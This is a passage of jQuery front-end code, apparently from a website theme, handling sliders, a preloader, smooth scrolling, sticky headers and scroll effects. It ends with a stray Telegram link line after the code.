					//
					jQuery(".image-slider").owlCarousel({
						items: 1,
						singleItem: true,
						navigation: false,
						pagination: true,
						autoPlay: false,
					})
					jQuery(".container").fitVids()
					jQuery("#btn-close-x").on("click", function () {
						jQuery("#loader-area").slideUp(500, function () {
							jQuery("html, body").animate(
								{
									scrollTop: jQuery("#section-portfolio").offset().top - 70,
								},
								500,
								"easeOutCirc"
							)
						})
						return false
					})
				})
			})
		})
		jQuery(".de-gallery .item").on("click", function () {
			$("#navigation").show()
		})
		// btn arrow up
		jQuery(".arrow-up").on("click", function () {
			jQuery(".coming-soon .coming-soon-content").fadeOut(
				"medium",
				function () {
					jQuery("#hide-content").fadeIn(600, function () {
						jQuery(".arrow-up").animate(
							{
								bottom: "-40px",
							},
							"slow"
						)
						jQuery(".arrow-down").animate(
							{
								top: "0",
							},
							"slow"
						)
					})
				}
			)
		})
		// btn arrow down
		jQuery(".arrow-down").on("click", function () {
			jQuery("#hide-content").fadeOut("slow", function () {
				jQuery(".coming-soon .coming-soon-content").fadeIn(800, function () {
					jQuery(".arrow-up").animate(
						{
							bottom: "0px",
						},
						"slow"
					)
					jQuery(".arrow-down").animate(
						{
							top: "-40",
						},
						"slow"
					)
				})
			})
		})
		/* --------------------------------------------------
		 * window | on load
		 * --------------------------------------------------*/
		jQuery(window).load(function () {
			video_autosize()
			filter_gallery()
			custom_bg()
			menu_arrow()
			load_owl()
			custom_elements()
			init()
			// hide preloader after loaded
			jQuery("#preloader").delay(500).fadeOut(500)
			// one page navigation
			/**
			 * This part causes smooth scrolling using scrollto.js
			 * We target all a tags inside the nav, and apply the scrollto.js to it.
			 */
			jQuery("#homepage nav a, .scroll-to").on("click", function (evn) {
				if (this.href.indexOf("#") != -1) {
					evn.preventDefault()
					jQuery("html,body").scrollTo(this.hash, this.hash)
				}
			})
			sequence()
			sequence_a()
		})
		/* --------------------------------------------------
		 * window | on resize
		 * --------------------------------------------------*/
		window.onresize = function (event) {
			init_resize()
		}
		/* --------------------------------------------------
		 * window | on scroll
		 * --------------------------------------------------*/
		jQuery(window).on("scroll", function () {
			/* functions */
			header_sticky()
			de_counter()
			de_progress()
			init()
			backToTop()
			moveItItemNow()
			active_menu()
			/* plugin | stellar */
			$.stellar({
				horizontalScrolling: false,
				verticalOffset: 0,
			})
			/* fade base scroll position */
			var target = $(".fadeScroll")
			var targetHeight = target.outerHeight()
			var scrollPercent = (targetHeight - window.scrollY) / targetHeight
			if (scrollPercent >= 0) {
				target.css("opacity", scrollPercent)
			} else {
				target.css("opacity", 0)
			}
			// custom page with background on side
			jQuery(".side-bg").each(function () {
				jQuery(this)
					.find(".image-container")
					.css(
						"height",
						jQuery(this).find(".image-container").parent().css("height")
					)
			})
			/* go to anchor */
			jQuery("#homepage nav li a").each(function () {
				if (this.href.indexOf("#") != -1) {
					var href = jQuery(this).attr("href")
					if (typeof offset !== "undefined") {
						if (jQuery(window).scrollTop() > jQuery(href).offset().top - 140) {
							jQuery("nav li a").removeClass("active")
							jQuery(this).addClass("active")
						}
					}
				}
			})
		})
	})
})(jQuery)

https://t.me/RX1948 - 2025